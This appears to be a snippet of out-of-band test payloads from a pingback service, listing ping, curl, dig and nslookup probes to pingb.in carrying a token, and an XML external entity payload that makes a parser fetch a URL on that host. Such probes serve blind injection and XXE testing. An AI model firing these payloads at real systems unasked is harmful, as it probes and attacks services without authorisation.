$ ping -c1 -p 00d2db43aafb04a80643f74392a3a900 pingb.in
$ curl pingb.in/p/d2db43aafb04a80643f74392a3a9
$ dig d2db43aafb04a80643f74392a3a9 @pingb.in
$ dig d2db43aafb04a80643f74392a3a9.ns.pingb.in
C:\> nslookup d2db43aafb04a80643f74392a3a9 pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/d2db43aafb04a80643f74392a3a9">]> <foo>&xxe;</foo>